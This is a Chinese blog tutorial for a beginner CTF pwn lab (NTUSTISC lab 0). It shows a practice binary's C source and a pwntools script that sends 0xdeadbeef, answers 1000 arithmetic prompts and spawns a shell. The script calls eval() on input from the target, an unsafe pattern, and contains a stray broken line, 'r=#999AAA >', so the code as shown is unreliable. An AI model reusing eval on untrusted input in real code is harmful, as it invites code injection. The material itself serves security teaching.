[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验相关的知识,希望对你有一定的参考价值。

一、资源和环境

1、资源

b栈中给出的链接:https://pan.baidu.com/s/1AR3mI1oTWMz4mTbwkgXBzA
提取码:2gec
下载后,参考lab0

2、环境

下载CTF pwn专用虚拟机环境:https://www.cnblogs.com/cnsec/p/13286478.html
本实验环境为python2,以及基于python2的pwntools支持环境。

二、demo文件

在例子中,除提供二进制程序外,还提供了.c的源文件和makefile文件,.c文件和部分注释见如下的代码:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>

void handler(int signum){
  puts("Timeout");
  _exit(1);
}

int main()
{
  setvbuf(stdout, 0, 2, 0);	//buffer设为0,确保io不会卡住 
  setvbuf(stdin, 0, 2, 0);  //buffer设为0,确保io不会卡住 
  signal(SIGALRM, handler);
  alarm(90);	// 限制时间90s 

  unsigned seed = (unsigned)time(NULL);
  srand(seed);

  unsigned int magic;
  printf("Give me the magic number :)\\n");
  read(0, &magic, 4);
  if (magic != 3735928559) {  //二进制0xdeadbeef 
    printf("Bye~\\n");
    exit(0);
  }

  printf("Complete 1000 math questions in 90 seconds!!!\\n");
  for (int i = 0; i < 1000; ++i) {
    int a = random() % 65535;
    int b = random() % 65535;
    int c = random() % 3;			//操作符 
    int ans;
    switch(c) {
      case 0:						//两数相加 
        printf("%d + %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a + b) {
          printf("Bye Bye~\\n");
          exit(0);
        }
        break;
      case 1:						//两数相减 
        printf("%d - %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a - b) {
          printf("Bye Bye~\\n");
          exit(0);
        }
        break;
      case 2:						//两数相乘 
        printf("%d * %d = ?", a, b);
        scanf("%d", &ans);
        if (ans != a * b) {
          printf("Bye Bye~\\n");
          exit(0);
        }
        break;
    }
  }
  printf("Good job!\\n");
  system("sh");					//得到shell 

  return 0;
}

三、exp代码

ubuntu 16.04(即第一节中下载的pwn专用机)中编写的python2 exp代码如下:

from pwn import *
r=#999AAA >

r = process('./pwntools')

r.recvuntil('number :)\\n')

p = p32(0xdeadbeef)
r.send(p)


r.recvline()

for i in range(1000):
    q = r.recvuntil(' = ?').replace(' = ?', '')
    print q
    ans = eval(q)
    r.sendline(str(ans))

r.interactive()

运行该代码后的结果见下图:
在这里插入图片描述
取得shell的情况为:
在这里插入图片描述

以上是关于[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 5]rop入门实验

[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof

[NTUSTISC pwn LAB 6]rop&Return to plt实验

[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验